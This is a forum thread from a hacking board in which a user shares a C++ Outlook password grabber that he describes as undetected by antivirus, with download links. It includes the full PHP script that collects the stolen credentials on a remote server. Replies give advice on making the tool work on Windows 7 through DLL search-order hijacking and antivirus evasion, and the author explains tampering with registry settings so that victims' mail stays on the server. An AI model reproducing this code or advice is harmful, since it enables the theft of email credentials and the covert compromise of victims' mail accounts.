EvilZone
Programming and Scripting => C - C++ => : Kulverstukas August 28, 2013, 09:41:00 PM
-
My most recent project I didn't talk about. I don't have a lot to say about it...
It is a simple Outlook (for older versions) password grabber. Gets the password along with other additional info and sends to a specified server (PHP code included).
Only supports XP for some reason. Tested and works on Outlook 2003 and 2007, will probably work with 2010 and newest too. AFAIK it's FUD for now.
Thanks to RedBullAddicted for testing it out <3
Why it does not work on Windows 7, as reported by RBA is something I didn't figure out, and I didn't really try to, because Outlooker was sufficient enough for my needs and now I am posting for people to learn from, mostly, because I had a great deal of frustration, pleasure and experience while coding it and solving bugs. I hope it will serve people as a project to learn from :)
Made in Code::Blocks.
So here are the downloads:
Whole code (isn't big, fits on one file): main.cpp (http://9v.lt/projects/C/Outlooker/main.cpp)
Whole project (with web backend code in the archive): Outlooker.zip (http://9v.lt/projects/C/Outlooker/Outlooker.zip)
-
<?
if (isset($_POST["contents"])) {
$contents = str_repeat("-", 30)."\r\n".date("[Y.m.d, H:i:s]", time())."\r\n".$_POST["contents"]."\r\n".str_repeat("-", 30)."\r\n\r\n";
file_put_contents("contents.txt", $contents, FILE_APPEND | LOCK_EX);
} else {
header("Location: http://www.goatse.fr/hello.jpg");
die();
}
?>
+1
-
Tha...that...picture :o
-
That picture is disturbing.
Otherwise, +1.
-
The picture is there to scare away the noobs sniffing around the receiving script :P
-
Windows7 uses outlook 2010, at least where I work all windows7 systems are configured to use outlook 2010.
-
It would be worth more if it did work on win7. But I will not continue work on it, maybe someone will pick up where I left and fix the issue :P
-
What about office 365 ( which i hate infact, it deletes itself in most cases)
-
Windows7 uses outlook 2010, at least where I work all windows7 systems are configured to use outlook 2010.
Are you saying that 2010 is a standard for Windows 7? ... That would be wrong, Windows 7 doesn't use 2010, it uses whatever Office version you've installed lol.
I would assume that it fails on Windows 7 because of the permission issues that were introduced ever since Vista and UAC. I'll have to take a look at the source code in more depth before I can verify that, but I don't see why it should be anything else if the same constraints were enforced with Outlook versions and whatnot during the tests.
edit: You are making the assumption that you have proper access to that registry location, even though you're being greedy and requesting all access, when you only need to read the value... A feature of the access control model may prevent this. Although, the issue here is with views to the registry WOW64 . Read this: http://msdn.microsoft.com/en-us/library/windows/desktop/aa384232%28v=vs.85%29.aspx (http://msdn.microsoft.com/en-us/library/windows/desktop/aa384232%28v=vs.85%29.aspx)
And this: http://msdn.microsoft.com/en-us/library/windows/desktop/aa384129%28v=vs.110%29.aspx (http://msdn.microsoft.com/en-us/library/windows/desktop/aa384129%28v=vs.110%29.aspx)
By default, a 32-bit application running on WOW64 accesses the 32-bit registry view and a 64-bit application accesses the 64-bit registry view. The following flags enable 32-bit applications to access redirected keys in the 64-bit registry view and 64-bit applications to access redirected keys in the 32-bit registry view. These flags have no effect on shared registry keys.
From my testing RegOpenKeyEx() is returning ERROR_FILE_NOT_FOUND, meaning redirection is acting against it from what I can tell. What environments did RBA test this on exactly?
http://msdn.microsoft.com/en-us/library/windows/desktop/aa384253%28v=vs.85%29.aspx (http://msdn.microsoft.com/en-us/library/windows/desktop/aa384253%28v=vs.85%29.aspx)
An option I would've went with is to get Outlook to load your malicious DLL that calls to open and query the registry. This way, you'd inherently be granted the permissions of that process which probably already makes subsequent calls to check the registry value itself, and all you'd have to focus on is grabbing that value and sending it over. Look up the order in which DLL's are located, and enumerate the KnownDLL's object to make sure that the one you've chosen doesn't exist in System32. The domino effect starts as soon as a reboot takes place and Office is loaded at startup. The other way would be to inject directly, but an AV might be more aware of that. ;)
edit: You're using a lot of code that looks more like genuine C, for a C++ project however.
Nice idea though. You should look at how lame the protection is for the PST file format too lol.
-
Thanks for all your suggestions, ArkPhaze. I request that permission on registry because I'm not just reading, I'm also writing for every POP account - putting a value in the registry to tell Outlook it should not delete emails from the server once synched.
If you want, you can start on it to improve it :)
-
Thanks for all your suggestions, ArkPhaze. I request that permission on registry because I'm not just reading, I'm also writing for every POP account - putting a value in the registry to tell Outlook it should not delete emails from the server once synched.
If you want, you can start on it to improve it :)
I didn't get that far. Still, a source like this is better than half the crap I see on most of the other forums I go to lol. It's a refresher..
Nice work as I said.